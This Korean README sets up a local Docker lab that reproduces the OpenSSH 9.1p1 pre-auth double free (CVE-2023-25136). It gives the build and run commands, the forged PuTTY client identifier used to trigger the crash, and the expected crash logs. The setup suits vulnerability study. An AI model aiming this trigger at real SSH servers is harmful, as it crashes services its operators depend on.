
OpenSSH 9.1p1 사전 인증 이중 해제 취약점(CVE-2023-25136)을 위한 최소 Docker 기반 재현 환경으로, Python PoC 클라이언트를 통해 메모리 손상 및 서비스 거부를 시연합니다.
본 프로젝트는 **OpenSSH 9.1p1 사전 인증 double free 메모리 손상 취약점(CVE-2023-25136)**을 재현하고 서버 프로세스 충돌(DoS) 효과를 관찰할 수 있는 최소 규모의 로컬 실험 환경을 제공합니다.
설명: 공식 및 주요 분석에서는 이 취약점이 기본 보안 구성에서 "원격 코드 실행으로 실제 악용하기 어렵다"고 판단합니다. 본 환경은 주로 메모리 오류 및 서비스 거부 효과를 시연하기 위한 것입니다.
타겟(Target):
sshd가 구성되어 있음--with-sandbox=no로 seccomp 샌드박스를 비활성화22 포트를 수신하고, 호스트(WSL)의 2222 포트로 매핑공격자(Attacker):
paramiko를 사용하여 PoC를 실행하고, 특정 SSH 클라이언트 식별자를 구성하여 사전 인증 핸드셰이크 수행디렉토리 구조:
Dockerfile: OpenSSH 9.1p1 취약점 환경 이미지 빌드poc.py: 사전 인증 단계에서 double free를 트리거하는 최소 PoC 클라이언트본 디렉토리에서 아래 작업을 수행하기 전에 다음이 설치되어 있는지 확인하세요:
pip본 디렉토리에서 실행:
docker build -t sshd-9.1p1-vuln .
docker run --rm -d --name sshd-vuln -p 2222:22 sshd-9.1p1-vuln
설명:
--rm: 컨테이너 종료 시 자동 삭제--name sshd-vuln: 컨테이너 이름-p 2222:22: 컨테이너 내부 22 포트를 호스트 2222 포트로 매핑docker ps
다음과 유사한 출력을 볼 수 있습니다:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxx sshd-9.1p1-vuln "/usr/sbin/sshd -D…" Up ... 0.0.0.0:2222->22/tcp
본 디렉토리에서 실행:
pip install paramiko
poc.py는 paramiko.Transport를 사용하여 대상 SSH 서버와의 연결을 능동적으로 설정하고, 사전 인증 단계에서 클라이언트 식별자를 위조하여 double free를 시도합니다.
주요 기능:
127.0.0.1:2222 (로컬 Docker 컨테이너)SSH-2.0-PuTTY_Release_0.64-t/--target: 대상 IP (기본 127.0.0.1)-p/--port: 대상 포트 (기본 2222)-c/--client-id: 위조할 SSH 클라이언트 식별자--timeout: 타임아웃 (초)-v/--verbose: 상세 오류 정보 출력컨테이너 sshd-vuln이 실행 중인 상태에서 본 디렉토리에서 실행:
python3 poc.py
또는 명시적으로 인수 지정:
python3 poc.py -t 127.0.0.1 -p 2222 -v
클라이언트 예상 출력 예시:
==============================================
CVE-2023-25136 OpenSSH Pre-Auth Double Free
Minimal PoC Client
==============================================
[2024-xx-xx xx:xx:xx] Target: 127.0.0.1:2222, ClientID: SSH-2.0-PuTTY_Release_0.64
[+] Sending crafted pre-auth handshake...
[-] Authentication failed or connection closed early.
서버 sshd 로그에서 'free(): double free detected' 등의 메시지가 나타나는지 확인하여 CVE-2023-25136이 트리거되었는지 확인하세요.
설명:
Authentication failed 또는 connection closed가 발생하는 것은 예상된 동작입니다. 서버의 사전 인증 하위 프로세스가 처리 중 충돌하거나 연결을 강제로 종료할 수 있기 때문입니다.PoC 실행 후 호스트에서 컨테이너 로그 확인:
docker logs sshd-vuln
다음과 유사한 출력이 예상됩니다:
Server listening on 0.0.0.0 port 22.
Server listening on :: port 22.
Invalid user from 172.17.0.1 port xxxxx
free(): double free detected in tcache 2
여기서:
Invalid user: PoC가 빈 사용자 이름을 사용하므로 OpenSSH가 잘못된 사용자 시도를 기록free(): double free detected in tcache 2: glibc가 double free를 감지하고 현재 sshd 하위 프로세스를 종료합니다. 이것이 본 실험에서 관찰하려는 메모리 손상/DoS 현상입니다.참고: 이 줄을 확인할 수 있도록 OpenSSH 빌드 시 seccomp 샌드박스를 비활성화했습니다(
--with-sandbox=no). 그렇지 않으면 샌드박스가 double free 전에 비정상 동작을 차단하고 하위 프로세스를 바로 종료할 수 있습니다.
sshd 프로세스는 이후 연결을 위해 새로운 하위 프로세스를 계속 생성합니다.